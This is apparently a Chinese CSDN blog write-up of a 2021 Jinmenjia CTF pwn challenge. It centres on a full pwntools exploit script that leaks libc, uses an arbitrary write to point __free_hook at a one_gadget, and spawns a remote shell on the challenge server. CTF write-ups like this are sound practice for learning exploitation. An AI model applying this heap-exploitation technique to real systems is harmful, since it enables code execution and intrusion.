津门杯2021CTF pwn解

29 篇文章 0 订阅
本文讲述了作者在解决一道pwn题时的经历,通过审计代码发现了两个漏洞点,利用edit功能实现了任意写。在泄露libc基址后,通过计算偏移找到onegadget并修改__free_hook,最终实现远程代码执行。由于开始忽视了结构体细节,导致初次尝试失败,但通过调整策略成功完成。
摘要由CSDN通过智能技术生成

前言:这个题一开始调通了,但是不知道正确的libc版本,远程没有打通,最后听了一下libc版本是11.4的libc2.23版本,才打通,题很多洞,比较经典的是edit的READ容易写。写到freehook为onegadget即可,tcl,只解了一道题,时间原因第二道pwn题也没看,噗。。

漏洞点:

5AU}9Q0ZJY$O%E{​{Z4~W~AG.png

GI1)UMU(M2DET)87Y6A4HYH.jpg

 

漏洞点这两个地方,他们都是在bss段里,而且位置比较临近可以直接考虑一下任意写,当时没太注意这个点,直接doublefree的,发现只给了4个chunk,所以没能构建出,又审计了一下edit READ发现可以实现任意写,算好偏移即可
1.泄露libc
2.利用edit往freehook进行写即可
exp:

#coding:utf-8
from pwn import *
#p=process('./hello')
p=remote('119.3.81.43', '49153')
context(arch="amd64",os="linux",log_level="debug")
def add(number,name,size,info):
    p.sendlineafter('>>','1')
    p.sendlineafter('number:',str(number))
    p.sendlineafter('name:',name)
    p.sendlineafter('size:',str(size))
    p.sendlineafter('info:',info)
 
def delete(idx):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(idx))
 
 
def show(idx):
    p.sendlineafter('>>','3')
    p.sendlineafter('index:',str(idx))
 
def edit(idx,number,name,info):
    p.sendlineafter('>>','4')
    p.sendlineafter('index:',str(idx))
    p.sendlineafter('number:',number)
    p.sendlineafter('name:',name)
    p.sendlineafter('info:',info)
 
 
#p=process('./hello')
libc=ELF('/home/roo/桌面/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
add(0,'maxbos0',0x80,'d'*0x48+'\x90'+'\x70')
add(1,'maxbos1',0x48,'dd')
delete(0)
add(2,'maxbos',0x48,'')
edit(2,'-3','dd','')
show(2)
libc_1=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))+22#+0xa0bf+0x1fa8#+0x10bf+20480
print hex(libc_1)
libc_base=libc_1-0x3c4b20
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
rce=libc_base+0x4527a
free_hook=libc_base+libc.sym['__free_hook']
print hex(free_hook)
edit(2,'2','a'*13+p64(free_hook),p64(rce))
delete(2)
p.interactive()

3)K$QKIVNO<code>@</code>93FG4K$B70.png

 

总结:本菜鸡最大的缺点还是审计上,老是看到代码出现了好多结构体都懒得看了,哎只能慢慢培养了,还有一点的是,我调试的时候不知道系统关闭了随机化,系统奔了一下,发现libc的基地址不对了,导致我。重新调了一遍,草草草草了!!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值